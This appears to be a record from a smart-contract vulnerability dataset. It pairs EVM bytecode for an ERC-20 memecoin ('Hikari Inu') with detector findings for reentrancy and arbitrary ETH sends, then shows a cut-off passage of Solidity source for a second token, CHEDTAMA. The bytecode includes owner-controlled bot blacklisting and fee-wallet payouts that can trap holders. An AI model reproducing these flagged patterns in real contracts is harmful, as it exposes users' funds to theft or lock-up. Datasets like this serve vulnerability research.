0x6080604052600436106101175760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610383578063c3c8cd80146103c0578063d543dbeb146103d7578063dd62ed3e14610400578063ed9953071461043d5761011e565b806370a08231146102b0578063715018a6146102ed5780637b5b1157146103045780638da5cb5b1461032d57806395d89b41146103585761011e565b806323b872dd116100e757806323b872dd146101df578063313ce5671461021c5780635932ead1146102475780636b999053146102705780636fc3eaec146102995761011e565b8062b8cf2a1461012357806306fdde031461014c578063095ea7b31461017757806318160ddd146101b45761011e565b3661011e57005b600080fd5b34801561012f57600080fd5b5061014a60048036038101906101459190612b5f565b610454565b005b34801561015857600080fd5b506101616105a4565b60405161016e9190613023565b60405180910390f35b34801561018357600080fd5b5061019e60048036038101906101999190612b23565b6105e1565b6040516101ab9190613008565b60405180910390f35b3480156101c057600080fd5b506101c96105ff565b6040516101d691906131e5565b60405180910390f35b3480156101eb57600080fd5b5061020660048036038101906102019190612ad4565b610610565b6040516102139190613008565b60405180910390f35b34801561022857600080fd5b506102316106e9565b60405161023e919061325a565b60405180910390f35b34801561025357600080fd5b5061026e60048036038101906102699190612ba0565b6106f2565b005b34801561027c57600080fd5b5061029760048036038101906102929190612a46565b6107a4565b005b3480156102a557600080fd5b506102ae610894565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190612a46565b610906565b6040516102e491906131e5565b60405180910390f35b3480156102f957600080fd5b50610302610957565b005b34801561031057600080fd5b5061032b60048036038101906103269190612bf2565b610aaa565b005b34801561033957600080fd5b50610342610b8c565b60405161034f9190612f3a565b60405180910390f35b34801561036457600080fd5b5061036d610bb5565b60405161037a9190613023565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190612b23565b610bf2565b6040516103b79190613008565b60405180910390f35b3480156103cc57600080fd5b506103d5610c10565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190612bf2565b610c8a565b005b34801561040c57600080fd5b5061042760048036038101906104229190612a98565b610dd3565b60405161043491906131e5565b60405180910390f35b34801561044957600080fd5b50610452610e5a565b005b61045c6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e090613145565b60405180910390fd5b60005b81518110156105a0576001600a6000848481518110610534577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610598906134fb565b9150506104ec565b5050565b60606040518060400160405280600a81526020017f48696b61726920496e7500000000000000000000000000000000000000000000815250905090565b60006105f56105ee6113b6565b84846113be565b6001905092915050565b6000683635c9adc5dea00000905090565b600061061d848484611589565b6106de846106296113b6565b6106d98560405180606001604052806028815260200161394760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068f6113b6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d559092919063ffffffff16565b6113be565b600190509392505050565b60006009905090565b6106fa6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077e90613145565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b6107ac6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083090613145565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108d56113b6565b73ffffffffffffffffffffffffffffffffffffffff16146108f557600080fd5b600047905061090381611db9565b50565b6000610950600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb4565b9050919050565b61095f6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e390613145565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ab26113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3690613145565b60405180910390fd5b60008111610b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b79906130e5565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f48494b4100000000000000000000000000000000000000000000000000000000815250905090565b6000610c06610bff6113b6565b8484611589565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c516113b6565b73ffffffffffffffffffffffffffffffffffffffff1614610c7157600080fd5b6000610c7c30610906565b9050610c8781611f22565b50565b610c926113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1690613145565b60405180910390fd5b60008111610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990613105565b60405180910390fd5b610d916064610d8383683635c9adc5dea0000061221c90919063ffffffff16565b61229790919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610dc891906131e5565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e626113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee690613145565b60405180910390fd5b600f60149054906101000a900460ff1615610f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3690613065565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fcf30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113be565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561101557600080fd5b505afa158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d9190612a6f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110af57600080fd5b505afa1580156110c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e79190612a6f565b6040518363ffffffff1660e01b8152600401611104929190612f55565b602060405180830381600087803b15801561111e57600080fd5b505af1158015611132573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111569190612a6f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111df30610906565b6000806111ea610b8c565b426040518863ffffffff1660e01b815260040161120c96959493929190612fa7565b6060604051808303818588803b15801561122557600080fd5b505af1158015611239573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061125e9190612c1b565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611360929190612f7e565b602060405180830381600087803b15801561137a57600080fd5b505af115801561138e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b29190612bc9565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611425906131a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561149e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611495906130a5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157c91906131e5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f090613185565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611669576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166090613045565b60405180910390fd5b600081116116ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a390613165565b60405180910390fd5b6116b4610b8c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172257506116f2610b8c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c9257600f60179054906101000a900460ff1615611955573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117fe5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118585750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561195457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661189e6113b6565b73ffffffffffffffffffffffffffffffffffffffff1614806119145750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118fc6113b6565b73ffffffffffffffffffffffffffffffffffffffff16145b611953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194a906131c5565b60405180910390fd5b5b5b60105481111561196457600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a085750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a1157600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611abc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b125750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b2a5750600f60179054906101000a900460ff165b15611bd85742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b7a57600080fd5b6001601154611b8991906133a2565b42611b94919061331b565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611be330610906565b9050600f60159054906101000a900460ff16158015611c505750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c685750600f60169054906101000a900460ff165b15611c9057611c7681611f22565b60004790506000811115611c8e57611c8d47611db9565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d4357600090505b611d4f848484846122e1565b50505050565b6000838311158290611d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d949190613023565b60405180910390fd5b5060008385611dac91906133fc565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e0960028461229790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e34573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e8560028461229790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611eb0573d6000803e3d6000fd5b5050565b6000600654821115611efb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef290613085565b60405180910390fd5b6000611f0561230e565b9050611f1a818461229790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f80577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fae5781602001602082028036833780820191505090505b5090503081600081518110611fec577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208e57600080fd5b505afa1580156120a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120c69190612a6f565b81600181518110612100577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061216730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113be565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121cb959493929190613200565b600060405180830381600087803b1580156121e557600080fd5b505af11580156121f9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561222f5760009050612291565b6000828461223d91906133a2565b905082848261224c9190613371565b1461228c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228390613125565b60405180910390fd5b809150505b92915050565b60006122d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612339565b905092915050565b806122ef576122ee61239c565b5b6122fa8484846123cd565b8061230857612307612598565b5b50505050565b600080600061231b6125aa565b91509150612332818361229790919063ffffffff16565b9250505090565b60008083118290612380576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123779190613023565b60405180910390fd5b506000838561238f9190613371565b9050809150509392505050565b60006008541480156123b057506000600954145b156123ba576123cb565b600060088190555060006009819055505b565b6000806000806000806123df8761260c565b95509550955095509550955061243d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461267490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124d285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251e8161271c565b61252884836127d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161258591906131e5565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506125e0683635c9adc5dea0000060065461229790919063ffffffff16565b8210156125ff57600654683635c9adc5dea00000935093505050612608565b81819350935050505b9091565b60008060008060008060008060006126298a600854600954612813565b925092509250600061263961230e565b9050600080600061264c8e8787876128a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d55565b905092915050565b60008082846126cd919061331b565b905083811015612712576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612709906130c5565b60405180910390fd5b8091505092915050565b600061272661230e565b9050600061273d828461221c90919063ffffffff16565b905061279181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127ee8260065461267490919063ffffffff16565b600681905550612809816007546126be90919063ffffffff16565b6007819055505050565b60008060008061283f6064612831888a61221c90919063ffffffff16565b61229790919063ffffffff16565b90506000612869606461285b888b61221c90919063ffffffff16565b61229790919063ffffffff16565b9050600061289282612884858c61267490919063ffffffff16565b61267490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128c2858961221c90919063ffffffff16565b905060006128d9868961221c90919063ffffffff16565b905060006128f0878961221c90919063ffffffff16565b905060006129198261290b858761267490919063ffffffff16565b61267490919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006129456129408461329a565b613275565b9050808382526020820190508285602086028201111561296457600080fd5b60005b85811015612994578161297a888261299e565b845260208401935060208301925050600181019050612967565b5050509392505050565b6000813590506129ad81613901565b92915050565b6000815190506129c281613901565b92915050565b600082601f8301126129d957600080fd5b81356129e9848260208601612932565b91505092915050565b600081359050612a0181613918565b92915050565b600081519050612a1681613918565b92915050565b600081359050612a2b8161392f565b92915050565b600081519050612a408161392f565b92915050565b600060208284031215612a5857600080fd5b6000612a668482850161299e565b91505092915050565b600060208284031215612a8157600080fd5b6000612a8f848285016129b3565b91505092915050565b60008060408385031215612aab57600080fd5b6000612ab98582860161299e565b9250506020612aca8582860161299e565b9150509250929050565b600080600060608486031215612ae957600080fd5b6000612af78682870161299e565b9350506020612b088682870161299e565b9250506040612b1986828701612a1c565b9150509250925092565b60008060408385031215612b3657600080fd5b6000612b448582860161299e565b9250506020612b5585828601612a1c565b9150509250929050565b600060208284031215612b7157600080fd5b600082013567ffffffffffffffff811115612b8b57600080fd5b612b97848285016129c8565b91505092915050565b600060208284031215612bb257600080fd5b6000612bc0848285016129f2565b91505092915050565b600060208284031215612bdb57600080fd5b6000612be984828501612a07565b91505092915050565b600060208284031215612c0457600080fd5b6000612c1284828501612a1c565b91505092915050565b600080600060608486031215612c3057600080fd5b6000612c3e86828701612a31565b9350506020612c4f86828701612a31565b9250506040612c6086828701612a31565b9150509250925092565b6000612c768383612c82565b60208301905092915050565b612c8b81613430565b82525050565b612c9a81613430565b82525050565b6000612cab826132d6565b612cb581856132f9565b9350612cc0836132c6565b8060005b83811015612cf1578151612cd88882612c6a565b9750612ce3836132ec565b925050600181019050612cc4565b5085935050505092915050565b612d0781613442565b82525050565b612d1681613485565b82525050565b6000612d27826132e1565b612d31818561330a565b9350612d41818560208601613497565b612d4a816135d1565b840191505092915050565b6000612d6260238361330a565b9150612d6d826135e2565b604082019050919050565b6000612d85601a8361330a565b9150612d9082613631565b602082019050919050565b6000612da8602a8361330a565b9150612db38261365a565b604082019050919050565b6000612dcb60228361330a565b9150612dd6826136a9565b604082019050919050565b6000612dee601b8361330a565b9150612df9826136f8565b602082019050919050565b6000612e11601b8361330a565b9150612e1c82613721565b602082019050919050565b6000612e34601d8361330a565b9150612e3f8261374a565b602082019050919050565b6000612e5760218361330a565b9150612e6282613773565b604082019050919050565b6000612e7a60208361330a565b9150612e85826137c2565b602082019050919050565b6000612e9d60298361330a565b9150612ea8826137eb565b604082019050919050565b6000612ec060258361330a565b9150612ecb8261383a565b604082019050919050565b6000612ee360248361330a565b9150612eee82613889565b604082019050919050565b6000612f0660118361330a565b9150612f11826138d8565b602082019050919050565b612f258161346e565b82525050565b612f3481613478565b82525050565b6000602082019050612f4f6000830184612c91565b92915050565b6000604082019050612f6a6000830185612c91565b612f776020830184612c91565b9392505050565b6000604082019050612f936000830185612c91565b612fa06020830184612f1c565b9392505050565b600060c082019050612fbc6000830189612c91565b612fc96020830188612f1c565b612fd66040830187612d0d565b612fe36060830186612d0d565b612ff06080830185612c91565b612ffd60a0830184612f1c565b979650505050505050565b600060208201905061301d6000830184612cfe565b92915050565b6000602082019050818103600083015261303d8184612d1c565b905092915050565b6000602082019050818103600083015261305e81612d55565b9050919050565b6000602082019050818103600083015261307e81612d78565b9050919050565b6000602082019050818103600083015261309e81612d9b565b9050919050565b600060208201905081810360008301526130be81612dbe565b9050919050565b600060208201905081810360008301526130de81612de1565b9050919050565b600060208201905081810360008301526130fe81612e04565b9050919050565b6000602082019050818103600083015261311e81612e27565b9050919050565b6000602082019050818103600083015261313e81612e4a565b9050919050565b6000602082019050818103600083015261315e81612e6d565b9050919050565b6000602082019050818103600083015261317e81612e90565b9050919050565b6000602082019050818103600083015261319e81612eb3565b9050919050565b600060208201905081810360008301526131be81612ed6565b9050919050565b600060208201905081810360008301526131de81612ef9565b9050919050565b60006020820190506131fa6000830184612f1c565b92915050565b600060a0820190506132156000830188612f1c565b6132226020830187612d0d565b81810360408301526132348186612ca0565b90506132436060830185612c91565b6132506080830184612f1c565b9695505050505050565b600060208201905061326f6000830184612f2b565b92915050565b600061327f613290565b905061328b82826134ca565b919050565b6000604051905090565b600067ffffffffffffffff8211156132b5576132b46135a2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133268261346e565b91506133318361346e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561336657613365613544565b5b828201905092915050565b600061337c8261346e565b91506133878361346e565b92508261339757613396613573565b5b828204905092915050565b60006133ad8261346e565b91506133b88361346e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133f1576133f0613544565b5b828202905092915050565b60006134078261346e565b91506134128361346e565b92508282101561342557613424613544565b5b828203905092915050565b600061343b8261344e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134908261346e565b9050919050565b60005b838110156134b557808201518184015260208101905061349a565b838111156134c4576000848401525b50505050565b6134d3826135d1565b810181811067ffffffffffffffff821117156134f2576134f16135a2565b5b80604052505050565b60006135068261346e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561353957613538613544565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61390a81613430565b811461391557600080fd5b50565b61392181613442565b811461392c57600080fd5b50565b6139388161346e565b811461394357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d0f4ee29e9c48c44b898dcaf2b850c166feb1d0efb3a8d0f0aa5ecfdea4d7f2164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,997 |
0x59e6470fa9be00e4da682d81219d365a4f3f5e5a
|
/**
*Submitted for verification at Etherscan.io on 2022-02-09
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract CHEDTAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "CHEDTAMA";
string private constant _symbol = "CHEDTAMA";
